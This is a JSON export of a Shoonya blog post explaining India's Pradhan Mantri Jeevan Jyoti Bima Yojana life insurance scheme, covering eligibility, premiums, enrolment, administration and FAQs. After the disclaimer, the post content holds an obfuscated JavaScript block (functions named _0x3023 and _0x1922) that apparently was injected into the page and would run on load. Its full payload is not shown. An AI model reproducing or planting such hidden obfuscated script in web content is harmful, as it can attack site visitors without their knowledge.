{"id":7827,"date":"2024-05-30T10:51:42","date_gmt":"2024-05-30T10:51:42","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7827"},"modified":"2025-06-03T06:01:25","modified_gmt":"2025-06-03T06:01:25","slug":"pradhan-mantri-jeevan-jyoti-bima-yojana","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/","title":{"rendered":"What is PMJJBY Scheme| Pradhan Mantri Jeevan Jyoti Bima Yojana Overview and Benefits?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#What_is_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana\" >What is Pradhan Mantri Jeevan Jyoti Bima Yojana?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#Benefits_of_PMJJBY\" >Benefits of PMJJBY<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#PMJJBY_Eligibility\" >PMJJBY Eligibility&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#What_is_the_Application_Process_for_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\" >What is the Application Process for Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#Online_Application_Process\" >Online Application Process<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#Administration_of_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\" >Administration of Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#Termination_of_Assurance_under_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\" >Termination of Assurance under Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/#FAQs_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana\" >FAQs| Pradhan Mantri Jeevan Jyoti Bima Yojana<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/government-schemes\/\">Government Schemes<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>What is PMJJBY Scheme| Pradhan Mantri Jeevan Jyoti Bima Yojana Overview and Benefits?<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Imagine a life insurance cover that promises to catch you when your life takes an unexpected turn. The PMJJBY scheme is a lifeline designed to extend a helping hand to hardworking individuals across the nation. It stands as a pillar of support for families, ensuring life&#8217;s unforeseen events don&#8217;t halt their well-being. Pradhan Mantri Jeevan Jyoti Bima Yojana is suitable for individuals from 18-50 years of age.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, what is Pradhan Mantri Jeevan Jyoti Bima Yojana, and who stands to benefit from the PMJJBY scheme?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us take a look!<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-what-is-pradhan-mantri-jeevan-jyoti-bima-yojana\"><span class=\"ez-toc-section\" id=\"What_is_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana\"><\/span>What is Pradhan Mantri Jeevan Jyoti Bima Yojana?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY) is an insurance scheme offering life insurance coverage for death due to any reason. Introduced in 2015, PMJJBY is a yearly life insurance plan that is renewable annually. Public and private sector insurance companies manage it in partnership with scheduled regional rural banks, commercial banks, and cooperative banks. Thus providing coverage in case of death.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The initiative aims to ensure insurance coverage for major population, especially the poor and underprivileged class in India.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>PMJJBY scheme aligns with the vision of inclusive growth captured well in the motto &#8216;Together with All, Development for All&#8217;.<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Who Can Join?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The scheme is open to all individuals aged 18 to 50 years who hold an account in participating banks or post offices.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"1-benefits-of-pmjjby\"><span class=\"ez-toc-section\" id=\"Benefits_of_PMJJBY\"><\/span>Benefits of PMJJBY<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"718\" src=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Benefits-of-PMJJBY-2.jpg\" alt=\"Benefits of PMJJBY\" class=\"wp-image-12839\" srcset=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Benefits-of-PMJJBY-2.jpg 1200w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Benefits-of-PMJJBY-2-300x180.jpg 300w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Benefits-of-PMJJBY-2-1024x613.jpg 1024w, https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/05\/Benefits-of-PMJJBY-2-768x460.jpg 768w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><figcaption class=\"wp-element-caption\">Benefits of PMJJBY<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Pradhan Mantri Jeevan Jyoti Bima Yojana benefits include:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PMJJBY offers a one-year term life cover of \u20b92.00 lakh.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This ensures that your family is financially protected in the event of your untimely demise.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>PMJJBY scheme covers death due to any reason.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Thus making sure that your family is secure regardless of the circumstances.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The premium for this coverage is just \u20b9436 per annum.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This amount is auto-debited from your bank or post office account, making it convenient for life insurance coverage.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Enrolment Under PMJJBY&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You can join and pay for the insurance cover between 1st June and 31st May each year.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you miss the deadline, you can still enrol later with a prorated premium:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Joining in June, July, or August requires payment of the full annual premium of Rs. 436\/-<\/li>\n\n\n\n<li>Joining in September, October, or November requires payment of a prorated premium of Rs. 342\/-<\/li>\n\n\n\n<li>Joining in December, January, or February requires payment of a prorated premium of Rs. 228\/-<\/li>\n\n\n\n<li>Joining in March, April, or May requires payment of a prorated premium of Rs. 114\/-<\/li>\n\n\n\n<li>There&#8217;s a 30-day lien period from the enrollment date.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/top-life-insurance-companies-in-india\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Read about the top 10 life insurance companies in India!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-pmjjby-eligibility-\"><span class=\"ez-toc-section\" id=\"PMJJBY_Eligibility\"><\/span>PMJJBY Eligibility&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Who can apply for Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here are the eligibility criteria:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Age Requirement<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You must be between the age of 18 to 50 years. This wide age range ensures that a large number of individuals can take advantage of the PMJJBY scheme.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Bank\/Post Office Account<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">You must hold an individual bank or post office account. This account is necessary as the premium is auto-debited annually.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">How can you apply for Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-what-is-the-application-process-for-pradhan-mantri-jeevan-jyoti-bima-yojana-pmjjby\"><span class=\"ez-toc-section\" id=\"What_is_the_Application_Process_for_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\"><\/span>What is the Application Process for Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per the Ministry of Finance, here\u2019s how you can apply for the scheme:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Offline Application Process<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 1: You must v<\/strong>isit the link provided to download the \u201cCONSENT-CUM-DECLARATION FORM\u201d<a href=\"https:\/\/www.jansuraksha.gov.in\/Files\/PMJJBY\/English\/ApplicationForm.pdf#zoom=250\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Download Form<\/mark><\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 2: Next, please <\/strong>fill in the application form with accurate details.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 3<\/strong>: You must attach self-attested copies of the required documents. This could be your ID proof, age proof, and account details.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 4<\/strong>: Next, you must submit the completed form and documents to the authorised official at your bank or post office.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Step 5:<\/strong> The official will provide you with an \u201cACKNOWLEDGEMENT SLIP CUM CERTIFICATE OF INSURANCE\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, in case you want to follow an online process, here&#8217;s what you ned to do!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"4-online-application-process-\"><span class=\"ez-toc-section\" id=\"Online_Application_Process\"><\/span><strong>Online Application Process<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">You can get this life insurance coverage under the PMJJBY scheme online using the Net banking facility of your bank.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-administration-of-pradhan-mantri-jeevan-jyoti-bima-yojana-pmjjby\"><span class=\"ez-toc-section\" id=\"Administration_of_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\"><\/span>Administration of Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some additional things you must know about <strong>PMJJBY Y<\/strong>ojana<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Who administers the scheme?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">LIC P&amp;GS Units and other insurance company setups overview the administration of <strong>Pradhan Mantri Jeevan Jyoti Bima Yojana<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>How is the premium collected?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s the responsibility of the participating banks and post offices to recover the appropriate premium from the account holders.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What forms are needed?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Participating banks and post offices must obtain and retain the Enrolment Form, Auto-Debit Authorization, and Consent-cum-Declaration Form in the prescribed format.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These documents serve as proof of enrolment and consent.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What happens in case of a claim?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the event of a claim, LIC or the insurance company requests the individuals about the submission of the enrolment and consent forms.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>How is insurance coverage confirmed?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">At the time of enrolment, the acknowledgement slip provided can be converted into an acknowledgement slip-cum-certificate of insurance. Thus serving as proof of your coverage.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em><strong>You may also want to know the<\/strong> <a href=\"https:\/\/shoonya.com\/blog\/senior-citizen-savings-scheme\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Senior Citizen Savings Scheme<\/mark><\/a><\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-termination-of-assurance-under-pradhan-mantri-jeevan-jyoti-bima-yojana-pmjjby\"><span class=\"ez-toc-section\" id=\"Termination_of_Assurance_under_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana_PMJJBY\"><\/span>Termination of Assurance under Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>When does the assurance terminate?<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Age Limit<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Assurance under the PMJJBY scheme terminates when the member reaches the age of 55 years. However, it is subject to annual renewal up to that date.<br><strong>Note<\/strong>&#8211; The entry into the scheme is not possible beyond the age of 50 years.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Closure or Insufficient Balance<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If your bank or post office account closes or has an insufficient balance to maintain the insurance, the assurance will terminate.<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Duplicate Coverage<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If, as a member, you have PMJJBY coverage through multiple accounts and mistakenly pay premiums to LIC or another insurer, the insurance coverage will be limited to \u20b92 lakh.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Any premium paid for duplicate insurance will be forfeited.<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Reinstatement of Cover<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If your insurance stops because of a low balance or leaving the scheme, you can renew it by paying the right premium.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">But it&#8217;ll start fresh, and there&#8217;s a 30-day waiting period.<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Premium Remittance<\/strong>:<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Participating banks need to pay the premium to insurance companies for regular enrollments by June 30th each year. For other cases, they should remit the premium in the same month it&#8217;s received.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">PMJJBY offers financial security for your loved ones at a minimal cost. Interested in joining the Pradhan Mantri Jeevan Jyoti Bima Yojana scheme?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You must ensure to enrol by 31st May each year for uninterrupted coverage.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source-<a href=\"https:\/\/www.myscheme.gov.in\/schemes\/pmjjby#documents-required\">&nbsp;<\/a><\/strong><a href=\"https:\/\/www.myscheme.gov.in\/schemes\/pmjjby#documents-required\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">myscheme.gov.in<\/mark><\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"8-faqs-pradhan-mantri-jeevan-jyoti-bima-yojana\"><span class=\"ez-toc-section\" id=\"FAQs_Pradhan_Mantri_Jeevan_Jyoti_Bima_Yojana\"><\/span>FAQs| Pradhan Mantri Jeevan Jyoti Bima Yojana<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1717061826447\"><strong class=\"schema-faq-question\"><strong>What is PMJJBY Scheme?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY) is a life insurance scheme that allows you a coverage for death due to any cause with a one-year term life cover of \u20b92.00 Lakh.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1717061837198\"><strong class=\"schema-faq-question\"><strong>Are NRIs eligible for coverage under PMJJBY?<\/strong><\/strong> <p class=\"schema-faq-answer\">NRIs with an eligible bank account in India can buy PMJJBY cover if they meet the scheme&#8217;s terms and conditions. However, any claim benefits will be paid to the beneficiary or nominee in Indian currency only.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1717061848726\"><strong class=\"schema-faq-question\"><strong>How do I access the Claim Form for PMJJBY?<\/strong><\/strong> <p class=\"schema-faq-answer\">To access the Claim Form for PMJJBY, you can visit <a href=\"https:\/\/www.jansuraksha.gov.in\/Files\/PMJJBY\/English\/ClaimForm.pdf\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">jansuraksha.gov.in<\/mark><\/a>.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1717061863102\"><strong class=\"schema-faq-question\"><strong>What is the validity of the insurance cover in PMJJBY?<\/strong><\/strong> <p class=\"schema-faq-answer\">The insurance cover in PMJJBY is valid for one year, starting from 1st June and ending on 31st May, upon payment of the annual premium.<\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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The PMJJBY scheme is a lifeline designed to extend a helping hand to hardworking individuals across the nation. It stands as a pillar of support for families, ensuring life&#8217;s unforeseen events don&#8217;t halt their well-being. Pradhan Mantri Jeevan &hellip; <a href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;What is PMJJBY Scheme| Pradhan Mantri Jeevan Jyoti Bima Yojana Overview and Benefits?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7828,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3760],"tags":[4057,4048,4050,4056,4055,4047,4051,4049,4053,4059,4058,4052,4054,4060],"class_list":["post-7827","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-government-schemes","tag-benefits-of-pmjjby","tag-pmjjby","tag-pmjjby-benefits","tag-pmjjby-claim-eligibility","tag-pmjjby-eligibility","tag-pmjjby-full-form","tag-pmjjby-meaning","tag-pmjjby-scheme","tag-pmjjby-yojana","tag-pradhan-mantri-jeevan-jyoti-bima-yojana","tag-pradhan-mantri-jeevan-jyoti-bima-yojana-benefits","tag-what-is-pmjjby","tag-what-is-pmjjby-scheme","tag-what-is-pradhan-mantri-jeevan-jyoti-bima-yojana"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Benefits of Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)<\/title>\n<meta name=\"description\" content=\"Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY) is a life insurance scheme offered by banks\/ post offices and managed by life insurance companies.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-jeevan-jyoti-bima-yojana\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Benefits of Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY)\" \/>\n<meta property=\"og:description\" content=\"Pradhan Mantri Jeevan Jyoti Bima Yojana (PMJJBY) is a life insurance scheme offered by banks\/ post offices and managed by life insurance companies.\" \/>\n<meta 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